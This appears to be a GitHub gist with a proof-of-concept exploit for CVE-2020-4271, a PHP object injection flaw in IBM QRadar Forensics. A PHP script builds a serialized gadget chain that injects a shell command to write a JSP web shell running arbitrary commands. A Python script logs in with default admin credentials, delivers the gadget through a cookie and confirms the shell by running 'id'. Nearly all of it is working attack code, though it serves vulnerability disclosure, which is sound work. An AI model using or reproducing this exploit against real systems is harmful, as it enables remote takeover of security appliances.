Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created April 16, 2020 07:51
Show Gist options
  • Save ykoster/4bd5a97535bbd6a04f84b13c511e4426 to your computer and use it in GitHub Desktop.
Save ykoster/4bd5a97535bbd6a04f84b13c511e4426 to your computer and use it in GitHub Desktop.
PHP object injection vulnerability in QRadar Forensics web application (CVE-2020-4271) proof of concept
<?php
include("/opt/ibm/forensics/html/includes/license.inc.php");
include("/opt/ibm/forensics/html/includes/simple_html_dom.php");
$jsp = <<<__EOF
<!DOCTYPE html>
<html>
<pre>
<%@page import="java.util.*,java.io.*"%>
<% if (request.getParameter("c") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while(disr != null) {
out.println(disr);
disr = dis.readLine();
}
p.destroy();
} %>
</pre>
</html>
__EOF;
$license = new License();
$class = new ReflectionClass('License');
$property = $class->getProperty('license_util');
$property->setAccessible(true);
$property->setValue($license, 'echo ' . base64_encode($jsp) .
'|base64 -d > /opt/qradar/webapps/console/core/jsp/DisplayException.jsp #');
$property = $class->getProperty('license_file');
$property->setAccessible(true);
$property->setValue($license, '/etc/passwd');
$dom = (object)array('callback' => array($license, 'get_license_info'),
'nodes' => array());
$node = new simple_html_dom_node($dom);
$object = (object)array('dataset' => array($node),
'countTotal' => 1);
echo base64_encode(gzcompress(serialize($object)));
#!/usr/bin/env python3
import urllib3
import requests
import urllib.parse
from requests.cookies import cookiejar_from_dict
base_url=f'https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
gadget = """eJyFVG1z4jYQzk9hfB87LTbguyCmnQlO7BgoCa8Gf2FkSbEFsqVDoo4vzX/vCpLJ9Xoz9YwtaffZ
Z/extHpA18jRhgYCa+2gDnrR6AtyKDZYM+MMMPLQC0fu4AF1XEDyUgm2K0wpdlSWu0pS5gAFRAGP
XZlGMWfAUXegURc5BucOzHowY8/mbYqNOVpqF728ngNJwQU9surD6F/Y9IflM3IUBgyQTIHGQ87u
w9kB/NXPiruCiQPF/1elTYuFyDA5WJ7Ou0xQP+GEVRqE9SywA6mu3kxX4jLuToYLq8a/7iOHkUK2
HoPwbulOV8l6GMZR4WZJ/Uuwf5Y08vRjLq/J/UjYcbQa1tuEijgShkT9ht66HJdhZ7vwPRoJPeFS
v61V1vS+xnwFPLXFl3FQNOkm9NLN1J2UVNBwWJAyNOlmLgjP+baJVRzc9ePI97KoVvG9zoNczEjZ
30PMt/j+Jn9cDBc08V2ceOLCMfKyaq6yZCXHC1+waL0fQ61ksxakOzulnbW7isJmC3garZtxMNrH
/KAeajmaR6G7XYkTuQdMd96kSWjiaK5Ic2NrELQZ3m0382KR+DXdzJcUeLeJK0ngV1DzKKuGHg2n
LinXRbbI1Xipx8HarsUpbYYHvJk28a2bp5H4Nqls7PxPnPhiHBy+gK4uhv+VLooL7t+6x8FM/EU3
M6htpECfzvgFd84xE//H3Ye3npTwX0FX1j1IG/e0uDnv4aQ7bNJlb/wY9N/39/e/M+iYz73Wr7T1
R6stlWl/PWKKj+2aZVgp3Say0lIwGI+svdeqfcu1Eri5eyZMGS6r38DY+mRP1U+P3BMXzDo9cLaZ
IW0Fh7mmZ9P1d/gSP+9Omh21bUPPtXS9H9xQSsWIzfkOeoWvJYIuy5nZvefk1ZN0Bj/049uNcIQe
f4UHouBmIPJUmaU0WJwZB6//ADwxcW4="""
if not verifycert:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(f'{base_url}console/',
verify=verifycert, allow_redirects=False,
auth=requests.auth.HTTPBasicAuth(username, password))
if response.status_code != 302:
print(f"failed login as '{username}'")
exit(1)
cookies = cookiejar_from_dict({'serialized': urllib.parse.quote(gadget),
'SEC': response.cookies['SEC'], 'QRIF': response.cookies['SEC']})
headers = {'Referer': f'{base_url}forensics/'}
url = f'{base_url}forensics/graphs.php?chart=WebSiteChart&output_image=1&dkey[]=serialized&dsize={len(gadget)}'
response = requests.get(url, verify=verifycert, cookies=cookies, headers=headers)
if response.status_code == 500:
url = f'{base_url}console/core/jsp/DisplayException.jsp?c=id'
response = requests.get(url, verify=verifycert)
if response.status_code == 200 and 'uid=99(nobody) gid=99(nobody) groups=99(nobody)' in response.text:
print(f'[!] successfully deployed JSP shell at: {url}')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment